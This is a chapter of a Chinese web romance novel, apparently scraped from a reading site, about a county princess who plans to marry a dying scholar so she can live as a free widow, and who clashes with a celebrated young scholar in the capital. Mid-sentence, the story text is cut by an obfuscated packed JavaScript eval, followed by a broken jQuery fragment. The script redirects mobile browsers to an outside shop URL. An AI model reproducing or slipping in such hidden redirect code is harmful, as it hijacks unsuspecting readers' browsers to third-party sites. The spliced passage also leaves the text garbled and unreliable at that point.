文趣网 > 其他小说 > 夫君他偷听我心事 > 1. 好事
    “不知哪路神仙在上,信女愿余生锦衣玉食,只求此番赐婚大事能成,那位许公子‘寿终正寝’,放我寡居自由。”

    大宁京郊,青云观内,卫樱溪一把将絮絮叨叨的姜妙拉了起来。

    “哪有你这样向神仙祈愿的?”

    起身的姜妙拍拍裙摆,笑道:“开平府的人都说青云观最是灵验,既是灵验,如何会拘于所谓的形式?”

    卫樱溪撇撇嘴:“便是神仙再不拘小节,也断没有连你这么过分的要求都满足的道理。”

    姜妙挽着好友的手,与她一同走出大殿,外头阳光明媚,只是早春天气,多少还有些寒意。

    “来都来了,想必神仙也不好意思让我空着手回去。”姜妙笑弯了眼睛。

    卫樱溪轻叹了一口气:“你当真想好了?听闻那位许公子身体羸弱不良于行,恐怕活不过今年,你当真要去当寡妇?”

    姜妙点头:“若是他长命百岁,我还瞧不上他呢。”

    去岁大宁出了一位名动文坛的才子,姓许名照临,乃是现任安西知府许存之子,因一篇《万山赋》备受盛赞,奈何却体弱多病,听闻行动不便,只能日日坐在椅子上,恐怕命不久矣。

    世人感慨天妒英才,姜妙却从中瞧出机会。

    她早已及笄,却不愿出嫁,可大宁女子惯来都要嫁人生子,她又是县主,婚姻之事更是掺杂了朝堂变化。

    左拖右拖,已拖了将近三年,如今实在有些拖不下去了,这才出此下策。

    她已央了自己表姐安城公主李词入宫求皇帝舅舅赐婚,便说是因《万山赋》瞧上了那位许公子,若此计得成,她只要嫁了许照临,等那人一死,便可当世上最逍遥的寡妇。

    那安西府路远山高,她回京守寡,又有谁能奈何?

    李词表姐今日一早就入宫了,也是因此姜妙才拉了卫樱溪一同到这青云观来,好求求神仙保佑,这赐婚可千万不要出什么意外。

    青云观可是离大宁开平府最近的道观,百姓盛传极为灵验,只是姜妙心里嘀咕,这青云观的那些老道士一个个从不理凡俗之事,也不知这灵验的名声是从何处传来。

    “也亏你能想出这样的主意来,谁还能想到有人自己偏要守寡呢,好好的成亲多好呀。”卫樱溪摇摇头,作为好友她支持姜妙,可作为局外人却又不是很理解。

    姜妙与她下山,一同上了等在外面的马车。

    “安城表姐和驸马成亲时,大家也都说那是金玉良缘,可后来呢?他二人如今三日说不了一句话,这样的日子,我瞧着倒还不如守寡。”

    安城公主李词与驸马之事卫樱溪也多少知晓,她都有些感慨婚姻一事无可预料,更遑论与李词关系更近,知晓更多的姜妙了。

    “也是,反正你决定的事鲜少有做不成的,只是若赐婚去了安西府可莫要忘了我,早些回来。”

    姜妙拍拍卫樱溪的肩:“放心吧,待我将那位许公子好好送走,立时就回京找你逍遥!”

    马车沿山路而下,走官道回京城,才过正午不久,便进了城门。

    大宁京城繁华,又正是午后,街市熙攘,入城不久便听得叫卖喧嚣,还有各色美食香味,自马车车帘的缝隙钻了进来。

    一早出城去青云观,这会姜妙和卫樱溪也饥肠辘辘。

    当即便让车夫寻了酒楼停下,两人打算在外头吃顿好的。

    却没想到,今日人潮涌动竟更甚寻常。

    姜妙和卫樱溪站在景明楼前,但见人头攒动,竟是连个进门的路也一时寻不出来。

    “景明楼什么时候这么火了?”

    这酒楼她们当然不是第一回来,平素虽热闹,却也不至于门都进不去。

    卫樱溪伸长了脖子瞭望:“不知道啊……”

    这时只听得旁边几个姑娘激动地私语:“你看到了没?我刚可看到一个背影呢!”

    “我看到了,不愧是在登云楼内夺了彩头的才子,当真与众不同。”

    “听说还尚未娶亲,也不知能不能看上我那妹子。”

    又一中年妇人插进话来:“想得美,人家是什么身份,日后中了状元,尚公主也是有的,岂能轮得着你们?”

    旁边一圈的姑娘立时露出鄙夷神色,却仍不愿离去,争着往里瞧。

    这时卫樱溪反应过来:“原来是因为他。”

    姜妙都有些不耐烦了,问道:“谁呀?阵仗这么大?”

    卫樱溪面露惊讶:“还有你乐宜县主不知道的事?”

    “我这几日光和安城表姐商量如何在舅舅面前暗示了,哪里知晓开平发生

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843877|211692||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了什么事?”

    卫樱溪便低声道:“前段日子登云楼内摆过一场诗会,有位苏公子夺了头彩,据说因生得风流倜傥,如今可是不少闺秀的心上郎君。昨日春闱结束,有人发现这位苏公子也应了考,这不就要榜下捉婿了吗?”

    姜妙轻哼一声:“榜下捉婿还得有榜才是,如今才刚考完,就闹出这么大的动静,可别到时候丢了脸。”

    “嘘……”卫樱溪连忙拉了姜妙一把,可是已经晚了。

    前面人群自动分出一条路来,有几位身着儒生长衫的年轻公子从景明楼内走了出来。

    卫樱溪抿了抿唇,暗道一声“完了”。

    那一行人中,正有她们才刚说了坏话的苏定钦,更坏在,还有个认识她俩的她的亲哥哥卫青濯。

    姜妙不认识苏定钦,可她一眼就瞧见了卫青濯,再一看卫樱溪的表情,再一想她方才言语,猜也猜到,那几人里必是有那位榜下捉婿预备役苏公子。

    终究是背后说别人坏话,怎么说都不是君子所为,她虽自认不是君子,可倒也不必真当小人。

    于是姜妙学着卫樱溪一道低了头,打算就这么融进人群之中。

    谁料才不过片刻,头顶竟响起一道温如春风的声音。

    “乾坤未定,确当谨言慎行,姑娘教训得是,苏某受教了。”

    姜妙惊讶地抬起头来,入目便是一张可堪惊才绝艳的脸。

    眉眼若有疏离,两鬓有似刀裁,鼻梁高挺,薄唇轻抿,单立在人眼前,便好像得见天山雪、池中月。

    姜妙生于大宁最繁华的都城开平,父亲为忠勇侯,母亲是知安长公主,出生就受封乐宜县主,从小到大见过无数达官显贵,却从未见过这样的人。

    他就像已经知道她的身份一般,在说完那话之后,微微行礼:“多谢。”

    这一番举止风度,已让周围之人暗自惊叹,私语欣羡之声隐约不绝于耳。显然是这位苏公子的形象又因此更上一层楼。

    姜妙早愣在原地,却不知这“谢”从何来,只看着那人谢礼过后又转身,随同一众同窗缓步离去。

    待那一行人走得远了,卫樱溪方抬手擦了擦额角的汗。

    也正是这时,她听见身边的姜妙低声蹦出一句。

    “装模作样!”